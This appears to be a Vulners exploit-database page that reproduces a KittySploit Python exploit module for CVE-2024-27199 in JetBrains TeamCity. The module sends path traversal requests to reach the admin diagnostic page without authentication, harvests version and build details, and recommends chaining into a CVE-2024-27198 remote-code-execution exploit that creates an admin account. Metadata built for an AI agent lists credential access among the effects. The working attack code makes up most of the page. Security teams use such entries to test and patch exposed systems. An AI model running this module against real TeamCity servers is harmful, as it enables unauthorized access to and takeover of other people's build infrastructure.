Lucene search
+L

TeamCity Path Traversal Auth Bypass (CVE-2024-27199)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Unauthenticated path traversal in JetBrains TeamCity accesses /admin/diagnostic.jsp.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""JetBrains TeamCity path traversal auth bypass (CVE-2024-27199)."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'TeamCity Path Traversal Auth Bypass (CVE-2024-27199)',
        'description': (
            'Exploits CVE-2024-27199 in JetBrains TeamCity: path traversal to '
            '/admin/diagnostic.jsp exposes debug logging and limited admin actions '
            'without authentication.'
        ),
        'author': ['KittySploit Team', 'Rapid7'],
        'cve': ['CVE-2024-27199'],
        'platform': Platform.MULTI,
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2024-27199',
        ],
        'tags': ['teamcity', 'jetbrains', 'auth-bypass', 'traversal', 'kev'],
        'agent': {
            'risk': 'high',
            'effects': ['active_exploitation', 'credential_access'],
            'expected_requests': 4,
            'reversible': True,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'chain': {
                'suggested_followups': [
                    'scanner/http/cve_2024_27199_detect',
                    'exploits/multi/http/teamcity_cve_2024_27198_auth_bypass_rce',
                ],
            },
        },
    }

    port = OptPort(8111, 'TeamCity HTTP port', required=False)
    ssl = OptBool(False, 'Use HTTPS', required=False)

    _PATHS = (
        '/res/../admin/diagnostic.jsp',
        '/.well-known/acme-challenge/../../admin/diagnostic.jsp',
        '/update/../admin/diagnostic.jsp',
    )

    def _diagnostic(self) -> tuple[bool, str, str]:
        for path in self._PATHS:
            r = self.http_request(method='GET', path=path, allow_redirects=False)
            if not r or r.status_code != 200:
                continue
            body = r.text or ''
            if all(m in body for m in ('Debug Logging', 'CPU & Memory Usage')):
                return True, path, body
        return False, '', ''

    def check(self):
        ok, path, _ = self._diagnostic()
        if ok:
            return {
                'vulnerable': True,
                'reason': f'Admin diagnostic page accessible via {path}',
                'confidence': 'high',
            }
        return {'vulnerable': False, 'reason': 'Path traversal to diagnostic.jsp failed', 'confidence': 'medium'}

    def run(self):
        ok, path, body = self._diagnostic()
        if not ok:
            print_error('CVE-2024-27199 not confirmed')
            return False
        print_success(f'Unauthenticated admin diagnostic at {path}')
        for line in body.splitlines()[:30]:
            if any(k in line for k in ('Version', 'Build', 'Memory', 'CPU', 'Logging')):
                print_status(line.strip()[:120])
        print_status('Chain with CVE-2024-27198 exploit for full admin creation')
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
8.6High risk
Vulners AI Score8.6
CVSS 3.17.3
EPSS0.99991
SSVC
1